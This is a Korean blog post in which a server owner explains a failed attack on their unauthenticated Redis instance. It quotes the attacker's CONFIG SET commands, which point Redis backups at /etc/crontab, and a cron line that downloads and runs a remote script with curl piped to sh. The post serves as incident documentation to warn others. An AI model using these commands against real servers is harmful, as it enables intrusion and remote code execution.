7월말에 "2020/07/25 Redis 오류로 인한 접속불가 이슈 발생"이라는 글을 적었는데, 며칠 뒤에 비슷한 현상이 한번 더 발생했었습니다.
바로 해당 내용을 적진 못했고 시간을 내어 해당 내용에 대해 정리해보았습니다.

위의 이미지를 보면 Permission denied라는 오류와 함께 /etc/crontab 경로에 백업파일을 생성하지 못했다고 나와있습니다.

이 오류의 원인은 Redis를 통해서 중국 해커가 해킹 시도를 한 것으로 보여지는데요.
어떤 방식으로 해킹을 시도했고 어떻게 처리했는지를 알아보겠습니다.

해킹이 시도된 가장 큰 원인은 기본 포트 사용과 비밀번호의 부재입니다.
Redis를 설치할 당시에 Docker를 통해서 설치하면서 redis의 비밀번호를 별도로 설정하지 않았고 편의를 위해 서버의 Redis로 바로 접근할 수 있게 포트 포워딩을 해놨었는데 이 포트 번호가 Redis의 기본 포트 번호인 6379였습니다.

원래 중국 해커들은 ssh(22번 포트)와 같은 주요 포트를 공격하는데, 아마 Redis도 그 중 하나였던 것 같습니다.

위의 이미지는 해커가 공격 전에 주로 사용되는 파일 명으로 비슷한 백업파일을 만든 것이며 dump.rdb 파일을 제외한 나머지는 모두 해커의 공격에 의해 생성된 파일입니다.

이렇게 간단히 제 서버의 Redis에 접속한 해커는 "CONFIG SET dir /etc", "CONFIG SET dbfilename crontab"이라는 명령어를 통해 Redis 서버가 주기적으로 만드는 백업 파일이 저장되는 경로와 이름을 crontab으로 변경했습니다.

redis에 crontab에서 실행하는 형태의 값을 넣어서 crontab이 주기적으로 실행될 때 shell 파일이 실행되도록 하고, redis 백업 기능을 이용해 /etc/crontab 파일을 덮어써서 공격한다.

그리고 Redis에 데이터를 추가해서 백업 파일에 "*/4 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh"의 내용이 저장되도록 하여 파일을 다운로드 및 실행되도록 명령어를 추가했습니다.
여기서 만약 제 Redis 서버의 권한이 /etc/crontab 파일을 변경할 수 있는 권한이였다면 제 서버는 해킹 당했겠지만,
다행히 Redis 서버의 권한이 낮아 해커의 공격은 실패로 끝났습니다.

이러한 과정에서 Redis 백업이 권한 문제로 인해 계속 실패하다 보니 Redis에 의해 블로그 서버가 정지된 것을 제가 확인했고,
이후에 외부 포트번호 변경 및 비밀번호 추가를 통해 원인을 제거했습니다.

redis를 docker에 올릴 때 설정파일(redis.conf)을 읽어오지 못해 일단 비밀번호를 신경 안썼었는데, 그로 인해 이런 문제가 발생할 줄은 몰랐네요.
다행히 파일 권한은 신경을 써서 이번에는 피해가 없었지만, 이번을 계기로 더 보안에 신경써야겠다는 생각을 했습니다.

혹시라도 Redis를 통해 쉘 공격을 받으신 분들을 위해 어떤 문제였는지 남겨보았습니다.